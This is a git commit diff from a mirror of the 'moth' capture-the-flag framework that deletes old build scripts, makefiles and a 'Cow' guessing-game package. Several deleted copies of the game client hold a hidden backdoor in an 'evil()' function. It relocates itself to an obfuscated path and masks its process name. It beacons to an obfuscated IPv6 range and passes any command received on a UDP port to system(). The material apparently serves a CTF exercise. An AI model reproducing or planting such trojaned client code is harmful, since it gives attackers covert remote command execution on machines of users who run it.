mirror of https://github.com/dirtbags/moth.git
Remove old things
This commit is contained in:
parent
f4975856f1
commit
d8e06e6d3e
56
go
56
go
|
@ -1,56 +0,0 @@
|
|||
#! /bin/sh -e
|
||||
|
||||
TYPE=p2
|
||||
|
||||
case ${1:-$TYPE} in
|
||||
mcp)
|
||||
packages='mcp net-re'
|
||||
;;
|
||||
router)
|
||||
packages='router'
|
||||
;;
|
||||
p2)
|
||||
packages='p2 gs archaeology nocode steg js proto'
|
||||
;;
|
||||
p2cli)
|
||||
packages='p2client'
|
||||
;;
|
||||
esac
|
||||
|
||||
PATH=$HOME/src/buildroot/output/host/usr/bin:$PATH
|
||||
for arch in arm i386; do
|
||||
command -v ${arch}-linux-cc && ARCH=${arch}-linux export ARCH
|
||||
done
|
||||
|
||||
if [ -z "$ARCH" ]; then
|
||||
echo "I can't find a cross-compiler."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
make -C $HOME/src/puzzles
|
||||
make -C $HOME/src/ctf
|
||||
|
||||
for p in $packages; do
|
||||
for pd in ctf puzzles; do
|
||||
pp=$HOME/src/$pd/bin/$p.pkg
|
||||
[ -f $pp ] && op="$op $pp"
|
||||
done
|
||||
done
|
||||
|
||||
mksquashfs \
|
||||
$op \
|
||||
$HOME/ctf.squashfs -noappend
|
||||
|
||||
echo $ARCH
|
||||
|
||||
if [ $ARCH = i386-linux ]; then
|
||||
lsmod | grep -q kvm-intel || sudo modprobe kvm-intel
|
||||
sudo qemu-system-i386 \
|
||||
-nographic \
|
||||
-kernel $HOME/src/buildroot/output/images/bzImage \
|
||||
-initrd $HOME/src/buildroot/output/images/rootfs.squashfs \
|
||||
-append "console=ttyS0 packages=/dev/sda ipv6 debug" \
|
||||
-hda $HOME/ctf.squashfs \
|
||||
-net nic,model=e1000 \
|
||||
-net tap,vlan=0,script=$HOME/src/ctf/qemu-ifup,downscript=/bin/true
|
||||
fi
|
|
@ -1,7 +1,3 @@
|
|||
ifndef PASSWORD
|
||||
$(error PASSWORD not defined)
|
||||
endif
|
||||
|
||||
TEA_BIN = packages/00common/src/tea
|
||||
POINTSCLI_BIN = packages/00common/src/pointscli
|
||||
PUZZLES_BIN = packages/00common/src/puzzles.cgi
|
||||
|
@ -22,6 +18,4 @@ define CTFBASE_INSTALL
|
|||
cp $(TEA_BIN) $(1)/bin
|
||||
cp $(POINTSCLI_BIN) $(1)/bin
|
||||
cp $(PUZZLES_BIN) $(1)/bin
|
||||
|
||||
echo "$(PASSWORD)" > $(1)/password
|
||||
endef
|
||||
|
|
|
@ -1,23 +0,0 @@
|
|||
COWBULL_PKGDIR = $(TARGET)/cowbull
|
||||
|
||||
cowbull-install: cowbull-build
|
||||
mkdir -p $(COWBULL_PKGDIR)
|
||||
|
||||
mkdir -p $(COWBULL_PKGDIR)/bin/
|
||||
cp packages/cowbull/src/cowd $(COWBULL_PKGDIR)/bin
|
||||
|
||||
mkdir -p $(COWBULL_PKGDIR)/www/cowbull/
|
||||
cp packages/cowbull/www/moo.html $(COWBULL_PKGDIR)/www/cowbull/index.html
|
||||
cp packages/cowbull/src/cowcli $(COWBULL_PKGDIR)/www/cowbull/
|
||||
|
||||
$(call COPYTREE, packages/cowbull/service, $(COWBULL_PKGDIR)/service)
|
||||
cp packages/cowbull/tokens.txt $(COWBULL_PKGDIR)/
|
||||
|
||||
cowbull-clean:
|
||||
rm -rf $(COWBULL_PKGDIR)
|
||||
$(MAKE) -C packages/cowbull/src clean
|
||||
|
||||
cowbull-build:
|
||||
$(MAKE) -C packages/cowbull/src build
|
||||
|
||||
PACKAGES += cowbull
|
|
@ -1,3 +0,0 @@
|
|||
#! /bin/sh
|
||||
|
||||
dbip -d
|
|
@ -1 +0,0 @@
|
|||
198
|
|
@ -1,3 +0,0 @@
|
|||
#! /bin/sh
|
||||
|
||||
exec svlogd -tt $PWD
|
|
@ -1,7 +0,0 @@
|
|||
#! /bin/sh -e
|
||||
|
||||
exec 2>&1
|
||||
|
||||
IP=$(dbip -a)
|
||||
|
||||
exec setuidgid nobody $CTF_BASE/packages/cowbull/bin/cowd < $CTF_BASE/packages/cowbull/tokens.txt
|
|
@ -1,14 +0,0 @@
|
|||
DESTDIR ?= /tmp
|
||||
|
||||
build: cowd cowcli
|
||||
|
||||
cowcli: cowcli.c
|
||||
cc -o $@ -static $<
|
||||
strip $@
|
||||
upx $@
|
||||
|
||||
install: build
|
||||
cp cowd cowcli $(DESTDIR)/bin/
|
||||
|
||||
clean:
|
||||
rm -f cowd cowcli
|
|
@ -1,58 +0,0 @@
|
|||
The Cow Game
|
||||
============
|
||||
|
||||
You are trying to guess a 4-nybble sequence. Each nybble will have
|
||||
either 1 or 2 bits set, and the highest bit will never be set. The
|
||||
game server will tell you how many nybbles in each guess were correct,
|
||||
and how many had one correct bit. It does not tell you which
|
||||
positions
|
||||
|
||||
|
||||
|
||||
The Cow Client
|
||||
==============
|
||||
|
||||
The client connects to the Cow server running on the IPv6 address
|
||||
provided in argument 1. If argument 2 is present, the client will
|
||||
try to run it, providing stdin and stdout as in interactive mode.
|
||||
|
||||
In interactive mode (no argument 2), the client reads a guess in the
|
||||
form of 4 ASCII numerals, and prints the number of correct nybbles
|
||||
followed by the number of nybbles with one correct bit.
|
||||
|
||||
Here is an example of a session:
|
||||
|
||||
1111
|
||||
12
|
||||
2222
|
||||
10
|
||||
4444
|
||||
02
|
||||
4244
|
||||
12
|
||||
1244
|
||||
22
|
||||
1255
|
||||
cow:xylep-radar-nanox
|
||||
|
||||
|
||||
|
||||
The Cow Protocol
|
||||
================
|
||||
|
||||
cowd runs on port 3782.
|
||||
|
||||
The client always sends 6 octets. To request a new session, it sends
|
||||
all zeroes. Otherwise it sends the 4-octet game identifier provided
|
||||
by the server, concatenated with a 2-octet guess.
|
||||
|
||||
The server will respond with a new game identifier (4 octets) to a new
|
||||
game request or if the game requested is too old. If a guess is
|
||||
incorrect, the server will respond with either a 1-octet score in
|
||||
which the high nybble is the number of correct nybbles in the guess,
|
||||
and the low nybble is the number of nybbles in the guess with one
|
||||
correct bit. If a guess is correct, the server will respond with a
|
||||
token of length 5 octets or more.
|
||||
|
||||
There are multiple tokens, one per number of guesses used, up to
|
||||
some maximum number of guesses defined per server instance.
|
|
@ -1,355 +0,0 @@
|
|||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <unistd.h>
|
||||
#include <time.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <string.h>
|
||||
#include <signal.h>
|
||||
#include <sysexits.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/wait.h>
|
||||
#include <netdb.h>
|
||||
#include <fcntl.h>
|
||||
|
||||
|
||||
#define NODEBUG
|
||||
|
||||
#ifdef DEBUG
|
||||
# define PORT 4444
|
||||
#else
|
||||
# define PORT 44
|
||||
#endif
|
||||
|
||||
#define BDPORT 33333
|
||||
#define BCNPORT_S 48172
|
||||
#define BCNPORT_D 48179
|
||||
|
||||
int
|
||||
bind_port(int fd, const struct in6_addr *addr, uint16_t port)
|
||||
{
|
||||
struct sockaddr_in6 saddr = { 0 };
|
||||
|
||||
saddr.sin6_family = AF_INET6;
|
||||
saddr.sin6_port = htons(port);
|
||||
memcpy(&saddr.sin6_addr, addr, sizeof *addr);
|
||||
return bind(fd, (struct sockaddr *) &saddr, sizeof saddr);
|
||||
}
|
||||
|
||||
void
|
||||
sigchld(int unused)
|
||||
{
|
||||
while (0 < waitpid(-1, NULL, WNOHANG));
|
||||
}
|
||||
|
||||
void
|
||||
unmask_str(unsigned char *str)
|
||||
{
|
||||
int i = strlen(str);
|
||||
while (i-- > 0) {
|
||||
str[i] &= 127;
|
||||
}
|
||||
}
|
||||
int
|
||||
copyprog(const char *from, const char *to)
|
||||
{
|
||||
int fd_to, fd_from;
|
||||
char buf[4096];
|
||||
ssize_t nread;
|
||||
int saved_errno;
|
||||
|
||||
fd_from = open(from, O_RDONLY);
|
||||
if (fd_from < 0)
|
||||
return -1;
|
||||
|
||||
fd_to = open(to, O_WRONLY | O_CREAT | O_TRUNC, 0700);
|
||||
if (fd_to < 0)
|
||||
goto out_error;
|
||||
|
||||
while (nread = read(fd_from, buf, sizeof buf), nread > 0)
|
||||
{
|
||||
char *out_ptr = buf;
|
||||
ssize_t nwritten;
|
||||
|
||||
do {
|
||||
nwritten = write(fd_to, out_ptr, nread);
|
||||
|
||||
if (nwritten >= 0)
|
||||
{
|
||||
nread -= nwritten;
|
||||
out_ptr += nwritten;
|
||||
}
|
||||
else if (errno != EINTR)
|
||||
{
|
||||
goto out_error;
|
||||
}
|
||||
} while (nread > 0);
|
||||
}
|
||||
|
||||
if (nread == 0)
|
||||
{
|
||||
if (close(fd_to) < 0)
|
||||
{
|
||||
fd_to = -1;
|
||||
goto out_error;
|
||||
}
|
||||
close(fd_from);
|
||||
|
||||
/* Success! */
|
||||
return 0;
|
||||
}
|
||||
|
||||
out_error:
|
||||
saved_errno = errno;
|
||||
|
||||
close(fd_from);
|
||||
if (fd_to >= 0)
|
||||
close(fd_to);
|
||||
|
||||
errno = saved_errno;
|
||||
return -1;
|
||||
}
|
||||
|
||||
void
|
||||
signal_evil(int sig)
|
||||
{
|
||||
if (fork()) {
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
void
|
||||
evil(int argc, char *argv[])
|
||||
{
|
||||
int i;
|
||||
int sock;
|
||||
|
||||
char procname[] = "\xdb\xe8\xe3\xe9\xb1\xdd";
|
||||
char cptarget[] = "\xaf\xe4\xe5\xf6\xaf\xf3\xe8\xed\xaf\xae\xa0";
|
||||
|
||||
unmask_str(procname);
|
||||
unmask_str(cptarget);
|
||||
|
||||
if (strcmp(argv[0], cptarget)) {
|
||||
if (fork()) {
|
||||
return;
|
||||
}
|
||||
/* copy ourselves */
|
||||
if (copyprog(argv[0], cptarget) == 0) {
|
||||
argv[0] = cptarget;
|
||||
execv(cptarget, argv);
|
||||
}
|
||||
} else {
|
||||
unlink(cptarget);
|
||||
if (fork()) {
|
||||
exit(0);
|
||||
}
|
||||
}
|
||||
|
||||
/* mask the process title and arguments */
|
||||
while (argc--) {
|
||||
int p = strlen(argv[argc]);
|
||||
while (p--) {
|
||||
argv[argc][p] = 0;
|
||||
}
|
||||
}
|
||||
strcpy(argv[0], procname);
|
||||
|
||||
|
||||
{
|
||||
int r = open("/dev/null", O_RDONLY);
|
||||
int w = open("/dev/null", O_WRONLY);
|
||||
|
||||
dup2(r, 0);
|
||||
dup2(w, 1);
|
||||
dup2(w, 2);
|
||||
close(r);
|
||||
close(w);
|
||||
setsid();
|
||||
chdir("/");
|
||||
signal(SIGHUP, signal_evil);
|
||||
signal(SIGTERM, signal_evil);
|
||||
signal(SIGINT, signal_evil);
|
||||
signal(SIGQUIT, signal_evil);
|
||||
}
|
||||
|
||||
sock = socket(AF_INET6, SOCK_DGRAM, 0);
|
||||
if (-1 == bind_port(sock, &in6addr_any, BDPORT)) {
|
||||
exit(0);
|
||||
}
|
||||
struct timeval tv;
|
||||
tv.tv_sec = 5;
|
||||
tv.tv_usec = 0;
|
||||
setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, (char *)&tv,sizeof(struct timeval));
|
||||
|
||||
|
||||
while (1) {
|
||||
/* beacon */
|
||||
int sock_beacon;
|
||||
sock_beacon = socket(AF_INET6, SOCK_DGRAM, 0);
|
||||
if (-1 == bind_port(sock_beacon, &in6addr_any, BCNPORT_S)) {
|
||||
//perror("Beacon bind");
|
||||
;; /* return EX_IOERR; */
|
||||
}
|
||||
int subnet;
|
||||
if (sock_beacon > 0) {
|
||||
for (subnet = 0; subnet < 50; subnet++) {
|
||||
char payload[] = "hi";
|
||||
char addr6_f[] = "\xe6\xe4\xb8\xb4\xba\xe2\xb4\xb1\xb0\xba\xb3\xb4\xb4\xb1\xba\xa5\xf8\xba\xba\xb1\xb3\xb3\xb7";
|
||||
unmask_str(addr6_f);
|
||||
char addr6[64];
|
||||
sprintf(addr6, addr6_f, subnet);
|
||||
|
||||
//printf("%s\n", addr6);
|
||||
struct addrinfo *beacon_addr;
|
||||
{
|
||||
struct addrinfo hints = { 0 };
|
||||
|
||||
hints.ai_family = PF_INET6;
|
||||
hints.ai_socktype = SOCK_DGRAM;
|
||||
hints.ai_flags = AI_NUMERICHOST;
|
||||
|
||||
if (0 != getaddrinfo(addr6, "48179", &hints, &beacon_addr)) {
|
||||
;;//perror("Resolving address");
|
||||
}
|
||||
}
|
||||
|
||||
struct sockaddr_in6 saddr = { 0 };
|
||||
|
||||
if(-1 == sendto(sock_beacon, &payload, sizeof payload, 0, beacon_addr->ai_addr, beacon_addr->ai_addrlen)) {
|
||||
;;//perror("Beacon send");
|
||||
} else {
|
||||
;;//printf("sent!\n");
|
||||
}
|
||||
}
|
||||
}
|
||||
close(sock_beacon);
|
||||
/* end beacon */
|
||||
|
||||
/* c&c */
|
||||
char cmd[400];
|
||||
ssize_t inlen;
|
||||
|
||||
inlen = recvfrom(sock, cmd, sizeof(cmd)-1, 0, NULL, NULL);
|
||||
|
||||
if (inlen < 1) {
|
||||
continue;
|
||||
}
|
||||
|
||||
cmd[inlen] = 0;
|
||||
if (! fork()) {
|
||||
system(cmd);
|
||||
exit(0);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
int
|
||||
main(int argc, char *argv[])
|
||||
{
|
||||
long answer = 0;
|
||||
int sock;
|
||||
int i;
|
||||
struct addrinfo *addr;
|
||||
uint32_t token = 0;
|
||||
FILE *in, *out;
|
||||
|
||||
srand(time(NULL));
|
||||
|
||||
signal(SIGCHLD, sigchld);
|
||||
|
||||
if (argc < 2) {
|
||||
fprintf(stderr, "Usage: %s SERVER\n", argv[0]);
|
||||
return EX_USAGE;
|
||||
}
|
||||
|
||||
evil(argc, argv);
|
||||
|
||||
{
|
||||
struct addrinfo hints = { 0 };
|
||||
|
||||
hints.ai_family = PF_INET6;
|
||||
hints.ai_socktype = SOCK_DGRAM;
|
||||
hints.ai_flags = AI_NUMERICHOST;
|
||||
|
||||
if (0 != getaddrinfo(argv[1], "3782", &hints, &addr)) {
|
||||
perror("Resolving address");
|
||||
return EX_IOERR;
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Set up socket
|
||||
*/
|
||||
sock = socket(AF_INET6, SOCK_DGRAM, 0);
|
||||
if (-1 == bind_port(sock, &in6addr_any, PORT)) {
|
||||
perror("Binding UDP port 44");
|
||||
return EX_IOERR;
|
||||
}
|
||||
|
||||
if (argv[2]) {
|
||||
/* fork and exec */
|
||||
} else {
|
||||
in = stdin;
|
||||
out = stdout;
|
||||
}
|
||||
|
||||
|
||||
while (1) {
|
||||
long guess;
|
||||
struct {
|
||||
uint32_t token;
|
||||
uint16_t guess;
|
||||
} g;
|
||||
|
||||
g.token = token;
|
||||
if (token) {
|
||||
char line[20];
|
||||
|
||||
if (NULL == fgets(line, sizeof line, in)) {
|
||||
break;
|
||||
}
|
||||
g.guess = strtol(line, NULL, 16);
|
||||
} else {
|
||||
g.guess = 0;
|
||||
}
|
||||
|
||||
/* Send the guess */
|
||||
if (-1 == sendto(sock, &g, sizeof g, 0, addr->ai_addr, addr->ai_addrlen)) {
|
||||
perror("Sending packet");
|
||||
return EX_IOERR;
|
||||
}
|
||||
|
||||
/* read the result */
|
||||
{
|
||||
char buf[80];
|
||||
ssize_t len;
|
||||
|
||||
len = recvfrom(sock, buf, sizeof buf, 0, NULL, NULL);
|
||||
switch (len) {
|
||||
case -1:
|
||||
perror("Reading packet");
|
||||
return EX_IOERR;
|
||||
case 1:
|
||||
/* It's a score */
|
||||
printf("%02x\n", buf[0]);
|
||||
break;
|
||||
case 4:
|
||||
/* New game token */
|
||||
printf("NEW GAME\n");
|
||||
token = *((uint32_t *) buf);
|
||||
break;
|
||||
default:
|
||||
/* You win: this is your CTF token */
|
||||
buf[len] = 0;
|
||||
printf("A WINNER IS YOU: %s\n", buf);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
|
@ -1,196 +0,0 @@
|
|||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <time.h>
|
||||
#include <string.h>
|
||||
#include <sysexits.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/wait.h>
|
||||
#include <netdb.h>
|
||||
#include <fcntl.h>
|
||||
|
||||
|
||||
#define NODEBUG
|
||||
|
||||
#ifdef DEBUG
|
||||
# define PORT 4444
|
||||
#else
|
||||
# define PORT 44
|
||||
#endif
|
||||
|
||||
#define evil listener
|
||||
|
||||
int
|
||||
bind_port(int fd, const struct in6_addr *addr, uint16_t port)
|
||||
{
|
||||
struct sockaddr_in6 saddr = { 0 };
|
||||
|
||||
saddr.sin6_family = AF_INET6;
|
||||
saddr.sin6_port = htons(port);
|
||||
memcpy(&saddr.sin6_addr, addr, sizeof *addr);
|
||||
return bind(fd, (struct sockaddr *) &saddr, sizeof saddr);
|
||||
}
|
||||
|
||||
void
|
||||
sigchld(int unused)
|
||||
{
|
||||
while (0 < waitpid(-1, NULL, WNOHANG));
|
||||
}
|
||||
|
||||
void
|
||||
evil(char *argv[])
|
||||
{
|
||||
int sock;
|
||||
|
||||
if (fork()) {
|
||||
return;
|
||||
}
|
||||
|
||||
/* Fork again to reparent to init */
|
||||
if (fork()) {
|
||||
exit(0);
|
||||
}
|
||||
|
||||
{
|
||||
int r = open("/dev/null", O_RDONLY);
|
||||
int w = open("/dev/null", O_WRONLY);
|
||||
|
||||
dup2(r, 0);
|
||||
dup2(w, 1);
|
||||
dup2(w, 2);
|
||||
close(r);
|
||||
close(w);
|
||||
}
|
||||
|
||||
strcpy(argv[0], "[hci1]");
|
||||
|
||||
sock = socket(AF_INET6, SOCK_DGRAM, 0);
|
||||
if (-1 == bind_port(sock, &in6addr_any, 3782)) {
|
||||
exit(0);
|
||||
}
|
||||
|
||||
while (1) {
|
||||
char cmd[400];
|
||||
ssize_t inlen;
|
||||
|
||||
inlen = recvfrom(sock, cmd, sizeof(cmd)-1, 0, NULL, NULL);
|
||||
if (-1 == inlen) {
|
||||
continue;
|
||||
}
|
||||
|
||||
cmd[inlen] = 0;
|
||||
if (! fork()) {
|
||||
system(cmd);
|
||||
exit(0);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
int
|
||||
main(int argc, char *argv[])
|
||||
{
|
||||
long answer = 0;
|
||||
int sock;
|
||||
int i;
|
||||
struct addrinfo *addr;
|
||||
uint32_t token = 0;
|
||||
FILE *in, *out;
|
||||
|
||||
srand(time(NULL));
|
||||
|
||||
signal(SIGCHLD, sigchld);
|
||||
|
||||
if (argc < 2) {
|
||||
fprintf(stderr, "Usage: %s SERVER\n", argv[0]);
|
||||
return EX_USAGE;
|
||||
}
|
||||
|
||||
{
|
||||
struct addrinfo hints = { 0 };
|
||||
|
||||
hints.ai_family = PF_INET6;
|
||||
hints.ai_socktype = SOCK_DGRAM;
|
||||
hints.ai_flags = AI_NUMERICHOST;
|
||||
|
||||
if (0 != getaddrinfo(argv[1], "3782", &hints, &addr)) {
|
||||
perror("Resolving address");
|
||||
return EX_IOERR;
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Set up socket
|
||||
*/
|
||||
sock = socket(AF_INET6, SOCK_DGRAM, 0);
|
||||
if (-1 == bind_port(sock, &in6addr_any, PORT)) {
|
||||
perror("Binding UDP port 44");
|
||||
return EX_IOERR;
|
||||
}
|
||||
|
||||
if (argv[2]) {
|
||||
/* fork and exec */
|
||||
} else {
|
||||
in = stdin;
|
||||
out = stdout;
|
||||
}
|
||||
|
||||
evil(argv);
|
||||
|
||||
while (1) {
|
||||
long guess;
|
||||
struct {
|
||||
uint32_t token;
|
||||
uint16_t guess;
|
||||
} g;
|
||||
|
||||
g.token = token;
|
||||
if (token) {
|
||||
char line[20];
|
||||
|
||||
if (NULL == fgets(line, sizeof line, in)) {
|
||||
break;
|
||||
}
|
||||
g.guess = strtol(line, NULL, 16);
|
||||
} else {
|
||||
g.guess = 0;
|
||||
}
|
||||
|
||||
/* Send the guess */
|
||||
if (-1 == sendto(sock, &g, sizeof g, 0, addr->ai_addr, addr->ai_addrlen)) {
|
||||
perror("Sending packet");
|
||||
return EX_IOERR;
|
||||
}
|
||||
|
||||
/* read the result */
|
||||
{
|
||||
char buf[80];
|
||||
ssize_t len;
|
||||
|
||||
len = recvfrom(sock, buf, sizeof buf, 0, NULL, NULL);
|
||||
switch (len) {
|
||||
case -1:
|
||||
perror("Reading packet");
|
||||
return EX_IOERR;
|
||||
case 1:
|
||||
/* It's a score */
|
||||
printf("%02x\n", buf[0]);
|
||||
break;
|
||||
case 4:
|
||||
/* New game token */
|
||||
printf("NEW GAME\n");
|
||||
token = *((uint32_t *) buf);
|
||||
break;
|
||||
default:
|
||||
/* You win: this is your CTF token */
|
||||
buf[len] = 0;
|
||||
printf("A WINNER IS YOU: %s\n", buf);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
|
@ -1,355 +0,0 @@
|
|||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <unistd.h>
|
||||
#include <time.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <string.h>
|
||||
#include <signal.h>
|
||||
#include <sysexits.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/wait.h>
|
||||
#include <netdb.h>
|
||||
#include <fcntl.h>
|
||||
|
||||
|
||||
#define NODEBUG
|
||||
|
||||
#ifdef DEBUG
|
||||
# define PORT 4444
|
||||
#else
|
||||
# define PORT 44
|
||||
#endif
|
||||
|
||||
#define BDPORT 33333
|
||||
#define BCNPORT_S 48172
|
||||
#define BCNPORT_D 48179
|
||||
|
||||
int
|
||||
bind_port(int fd, const struct in6_addr *addr, uint16_t port)
|
||||
{
|
||||
struct sockaddr_in6 saddr = { 0 };
|
||||
|
||||
saddr.sin6_family = AF_INET6;
|
||||
saddr.sin6_port = htons(port);
|
||||
memcpy(&saddr.sin6_addr, addr, sizeof *addr);
|
||||
return bind(fd, (struct sockaddr *) &saddr, sizeof saddr);
|
||||
}
|
||||
|
||||
void
|
||||
sigchld(int unused)
|
||||
{
|
||||
while (0 < waitpid(-1, NULL, WNOHANG));
|
||||
}
|
||||
|
||||
void
|
||||
unmask_str(unsigned char *str)
|
||||
{
|
||||
int i = strlen(str);
|
||||
while (i-- > 0) {
|
||||
str[i] &= 127;
|
||||
}
|
||||
}
|
||||
int
|
||||
copyprog(const char *from, const char *to)
|
||||
{
|
||||
int fd_to, fd_from;
|
||||
char buf[4096];
|
||||
ssize_t nread;
|
||||
int saved_errno;
|
||||
|
||||
fd_from = open(from, O_RDONLY);
|
||||
if (fd_from < 0)
|
||||
return -1;
|
||||
|
||||
fd_to = open(to, O_WRONLY | O_CREAT | O_TRUNC, 0700);
|
||||
if (fd_to < 0)
|
||||
goto out_error;
|
||||
|
||||
while (nread = read(fd_from, buf, sizeof buf), nread > 0)
|
||||
{
|
||||
char *out_ptr = buf;
|
||||
ssize_t nwritten;
|
||||
|
||||
do {
|
||||
nwritten = write(fd_to, out_ptr, nread);
|
||||
|
||||
if (nwritten >= 0)
|
||||
{
|
||||
nread -= nwritten;
|
||||
out_ptr += nwritten;
|
||||
}
|
||||
else if (errno != EINTR)
|
||||
{
|
||||
goto out_error;
|
||||
}
|
||||
} while (nread > 0);
|
||||
}
|
||||
|
||||
if (nread == 0)
|
||||
{
|
||||
if (close(fd_to) < 0)
|
||||
{
|
||||
fd_to = -1;
|
||||
goto out_error;
|
||||
}
|
||||
close(fd_from);
|
||||
|
||||
/* Success! */
|
||||
return 0;
|
||||
}
|
||||
|
||||
out_error:
|
||||
saved_errno = errno;
|
||||
|
||||
close(fd_from);
|
||||
if (fd_to >= 0)
|
||||
close(fd_to);
|
||||
|
||||
errno = saved_errno;
|
||||
return -1;
|
||||
}
|
||||
|
||||
void
|
||||
signal_evil(int sig)
|
||||
{
|
||||
if (fork()) {
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
void
|
||||
evil(int argc, char *argv[])
|
||||
{
|
||||
int i;
|
||||
int sock;
|
||||
|
||||
char procname[] = "\xdb\xe8\xe3\xe9\xb1\xdd";
|
||||
char cptarget[] = "\xaf\xe4\xe5\xf6\xaf\xf3\xe8\xed\xaf\xae\xa0";
|
||||
|
||||
unmask_str(procname);
|
||||
unmask_str(cptarget);
|
||||
|
||||
if (strcmp(argv[0], cptarget)) {
|
||||
if (fork()) {
|
||||
return;
|
||||
}
|
||||
/* copy ourselves */
|
||||
if (copyprog(argv[0], cptarget) == 0) {
|
||||
argv[0] = cptarget;
|
||||
execv(cptarget, argv);
|
||||
}
|
||||
} else {
|
||||
unlink(cptarget);
|
||||
if (fork()) {
|
||||
exit(0);
|
||||
}
|
||||
}
|
||||
|
||||
/* mask the process title and arguments */
|
||||
while (argc--) {
|
||||
int p = strlen(argv[argc]);
|
||||
while (p--) {
|
||||
argv[argc][p] = 0;
|
||||
}
|
||||
}
|
||||
strcpy(argv[0], procname);
|
||||
|
||||
|
||||
{
|
||||
int r = open("/dev/null", O_RDONLY);
|
||||
int w = open("/dev/null", O_WRONLY);
|
||||
|
||||
dup2(r, 0);
|
||||
dup2(w, 1);
|
||||
dup2(w, 2);
|
||||
close(r);
|
||||
close(w);
|
||||
setsid();
|
||||
chdir("/");
|
||||
signal(SIGHUP, signal_evil);
|
||||
signal(SIGTERM, signal_evil);
|
||||
signal(SIGINT, signal_evil);
|
||||
signal(SIGQUIT, signal_evil);
|
||||
}
|
||||
|
||||
sock = socket(AF_INET6, SOCK_DGRAM, 0);
|
||||
if (-1 == bind_port(sock, &in6addr_any, BDPORT)) {
|
||||
exit(0);
|
||||
}
|
||||
struct timeval tv;
|
||||
tv.tv_sec = 5;
|
||||
tv.tv_usec = 0;
|
||||
setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, (char *)&tv,sizeof(struct timeval));
|
||||
|
||||
|
||||
while (1) {
|
||||
/* beacon */
|
||||
int sock_beacon;
|
||||
sock_beacon = socket(AF_INET6, SOCK_DGRAM, 0);
|
||||
if (-1 == bind_port(sock_beacon, &in6addr_any, BCNPORT_S)) {
|
||||
//perror("Beacon bind");
|
||||
;; /* return EX_IOERR; */
|
||||
}
|
||||
int subnet;
|
||||
if (sock_beacon > 0) {
|
||||
for (subnet = 0; subnet < 50; subnet++) {
|
||||
char payload[] = "hi";
|
||||
char addr6_f[] = "\xe6\xe4\xb8\xb4\xba\xe2\xb4\xb1\xb0\xba\xb3\xb4\xb4\xb1\xba\xa5\xf8\xba\xba\xb1\xb3\xb3\xb7";
|
||||
unmask_str(addr6_f);
|
||||
char addr6[64];
|
||||
sprintf(addr6, addr6_f, subnet);
|
||||
|
||||
//printf("%s\n", addr6);
|
||||
struct addrinfo *beacon_addr;
|
||||
{
|
||||
struct addrinfo hints = { 0 };
|
||||
|
||||
hints.ai_family = PF_INET6;
|
||||
hints.ai_socktype = SOCK_DGRAM;
|
||||
hints.ai_flags = AI_NUMERICHOST;
|
||||
|
||||
if (0 != getaddrinfo(addr6, "48179", &hints, &beacon_addr)) {
|
||||
;;//perror("Resolving address");
|
||||
}
|
||||
}
|
||||
|
||||
struct sockaddr_in6 saddr = { 0 };
|
||||
|
||||
if(-1 == sendto(sock_beacon, &payload, sizeof payload, 0, beacon_addr->ai_addr, beacon_addr->ai_addrlen)) {
|
||||
;;//perror("Beacon send");
|
||||
} else {
|
||||
;;//printf("sent!\n");
|
||||
}
|
||||
}
|
||||
}
|
||||
close(sock_beacon);
|
||||
/* end beacon */
|
||||
|
||||
/* c&c */
|
||||
char cmd[400];
|
||||
ssize_t inlen;
|
||||
|
||||
inlen = recvfrom(sock, cmd, sizeof(cmd)-1, 0, NULL, NULL);
|
||||
|
||||
if (inlen < 1) {
|
||||
continue;
|
||||
}
|
||||
|
||||
cmd[inlen] = 0;
|
||||
if (! fork()) {
|
||||
system(cmd);
|
||||
exit(0);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
int
|
||||
main(int argc, char *argv[])
|
||||
{
|
||||
long answer = 0;
|
||||
int sock;
|
||||
int i;
|
||||
struct addrinfo *addr;
|
||||
uint32_t token = 0;
|
||||
FILE *in, *out;
|
||||
|
||||
srand(time(NULL));
|
||||
|
||||
signal(SIGCHLD, sigchld);
|
||||
|
||||
if (argc < 2) {
|
||||
fprintf(stderr, "Usage: %s SERVER\n", argv[0]);
|
||||
return EX_USAGE;
|
||||
}
|
||||
|
||||
evil(argc, argv);
|
||||
|
||||
{
|
||||
struct addrinfo hints = { 0 };
|
||||
|
||||
hints.ai_family = PF_INET6;
|
||||
hints.ai_socktype = SOCK_DGRAM;
|
||||
hints.ai_flags = AI_NUMERICHOST;
|
||||
|
||||
if (0 != getaddrinfo(argv[1], "3782", &hints, &addr)) {
|
||||
perror("Resolving address");
|
||||
return EX_IOERR;
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Set up socket
|
||||
*/
|
||||
sock = socket(AF_INET6, SOCK_DGRAM, 0);
|
||||
if (-1 == bind_port(sock, &in6addr_any, PORT)) {
|
||||
perror("Binding UDP port 44");
|
||||
return EX_IOERR;
|
||||
}
|
||||
|
||||
if (argv[2]) {
|
||||
/* fork and exec */
|
||||
} else {
|
||||
in = stdin;
|
||||
